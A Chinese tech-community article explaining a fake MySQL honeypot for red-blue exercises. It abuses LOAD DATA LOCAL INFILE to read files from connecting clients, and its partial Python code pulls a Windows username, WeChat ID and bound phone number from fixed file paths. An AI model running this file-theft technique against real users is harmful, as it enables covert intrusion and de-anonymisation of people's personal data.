『红蓝对抗』利用蜜罐获取攻击者微信ID及手机号 - 文章 - 开发者社区

0 x 00 前言

之前在打 CTF 的时候，多次遇到了这个漏洞

护网期间，研究了一下蜜罐的骚操作，比如获取百度 ID 、 CSDN 账号、微信 ID 等等，对攻击者进行攻击者画像

学习了一下原理，然后做了一些改进，利用 MySQL 的漏洞，获取攻击者手机号

本系统代码非完全原创，部分代码参照 https://github.com/qigpig/MysqlHoneypot

关于 MySQL 任意文件读取漏洞，网上很多大佬写了很详细的分析文章，本文不再复述。同时，如果想复现漏洞，也可选取 github 上其他更加简洁的单文件server代码

0x01 漏洞相关

1.1 漏洞简介

Fake MySQL 顾名思义，就是虚假的MySQL

其实这个名词是我个人习惯的称呼，关于完整的定义目前在网上没有一个公认的说法

以下均为个人理解，如有问题，欢迎指正

Fake MySQL是基于构造一个伪装的MySQL服务器，通过命令或诱导来使受害者连接此服务器，从而利用MySQL的相关漏洞进行文件读取，或者反序列化利用

本文不涉及反序列化的利用，可以简单理解为一个 MySQL 蜜罐，利用漏洞为LOAD DATA LOCAL INFILE的任意文件读取

以上就是本文全部废话了，话不多说，直接进入正题

picture.image

1.2 漏洞复现及利用

文字废话太多，直接上图吧

picture.image

如图所示当我在服务器上运行payload代码，并设置我想要读取的文件，即可进入监听模式。

当攻击者连接我的3306端口，即可成功读取到攻击者电脑上的对应文件。

Linux同理，可以读取 /etc/passwd 等文件。

那么，可以读文件，进一步怎样拓展呢？

根据大佬的文章，我们可以通过读取 C:\Windows\PFRO.log 文件来获取攻击者的用户名，根据用户名读取相应文件夹中的微信配置文件，进而获取微信ID。前提是微信文件保存路径为默认。

获取用户名，如图所示：

picture.image 但这种方式的缺点是，只能单文件读取，每次需要重新设置文件名，不能实现循环读取

于是，根据 https://github.com/qigpig/MysqlHoneypot 中的部分代码，进行进一步的完善和修改，就有了下面的内容：

picture.image

0x02 工具相关

2.1 代码相关

开门见山，本系统代码乍一看很完美，但以普遍理性而论，仅适用于读取 windows 系统的文件。

先看核心代码：


          
def mysql_get_file_content(filename,conn,address):
          
    logpath = os.path.abspath('.') + "/log/" + address[0]
          
    if not os.path.exists(logpath):
          
        os.makedirs(logpath)
          
    conn.sendall("xxx")
          
    try:
          
        conn.recv(1024000)
          
    except Exception as e:
          
        print(e)
          

          
    try:
          
        conn.sendall("xx")
          
        res1 = conn.recv(1024000)
          
        # SHOW VARIABLES
          
        if 'SHOW VARIABLES' in res1:
          
            conn.sendall("xxx")
          
            res2 = conn.recv(9999)
          
            if 'SHOW WARNINGS' in res2:
          
                conn.sendall("xxx")
          
                res3 = conn.recv(9999)
          
                if 'SHOW COLLATION' in res3:
          
                    conn.sendall("xxx")
          
                    res4 = conn.recv(9999)
          
                    if 'SET NAMES utf8' in res4:
          
                        conn.sendall("xxx")
          
                        res5 = conn.recv(9999)
          
                        if 'SET character_set_results=NULL' in res5:
          
                            conn.sendall("xxx")
          
                            conn.close()
          
                    else:
          
                        conn.close()
          
                else:
          
                    conn.close()
          
            else:
          
                conn.close()
          
        else:
          
            try:
          
                wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
          
                conn.sendall(wantfile)
          
                content=''
          
                while True:
          
                    data = conn.recv(1024)
          
                    print len(data)
          
                    content += data
          
                    if len(data) < 1024:
          
                        print 'ok'
          
                        break
          

          
                conn.close()
          
                item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
          
                if len(content) > 6:
          
                    with open(item, "w") as f:
          
                        f.write(content)
          
                        f.close()
          
                    return (True,content)
          
                else:
          
                    return (False,content)
          
            except Exception as e:
          
                print (e)
          
    except Exception as e:
          
        print (e)

这段代码主要有两个作用：

1.判断是否为扫描器或者密码爆破工具，进行交互握手，效果是扫描器直接爆3306弱口令 2.如果是直接连接，去读取设定好的文件，并写入本地保存 PS ：为了防止读取文件内容不完整，加入了while循环


          
while True:
          
        conn, address = sv.accept()
          
        first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
          
        global files1
          
        global username
          
        global wx_id
          
        file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
          
        res,content = mysql_get_file_content(file,conn,address)
          
        files1.append(files1[0])
          
        files1.remove(files1[0])
          
        if res:
          
            if 'PFRO' in file:
          
                username = get_username(content)
          
                s= "xx" % (xx)
          
                cursor.execute(s)
          
                data = cursor.fetchall()
          
                if len(data)==0:
          
                    s = "XX" % (xx)
          
                    cursor.execute(s)
          
                    db.commit()
          
                    print 'success:'+ file
          
                    insert_file(file,address,username)
          
            elif 'config.data'in file:
          
                content = content
          
                wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]
          
                sql = "xxx" % (xxx)
          
                cursor.execute(sql)
          
                db.commit()
          
                wx_id=wxid
          
                img = qrcode.make('weixin://contacts/profile/'+wxid)
          
                img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') 
          
                print 'success:'+ file
          
                insert_file(file,address,username)
          
            elif 'AccInfo' in file:
          
                content = content
          
                phone = re.findall(r'[0-9]{11}', content)[-1]
          
                sql = "xxx" % (xxx)
          
                cursor.execute(sql)
          
                db.commit()
          
                print 'success:'+ file
          
                insert_file(file,address,username)
          
        else:
          
            files1=files
          
            username='Administrator'

这段代码就是从文件内容获取信息并保存到数据库：

1.从C:/Windows/PFRO.log中读取用户名 2.从C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data中读取wx_id 3.从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat中读取微信绑定的手机号根据 wx_id 可生成微信二维码，可添加好友，根据实际测试，就算关掉了所有好友申请条件，仍可通过此二维码发起好友申请

剩下的代码无非就是，前端显示了，这里就不展示了，直接上效果图

picture.image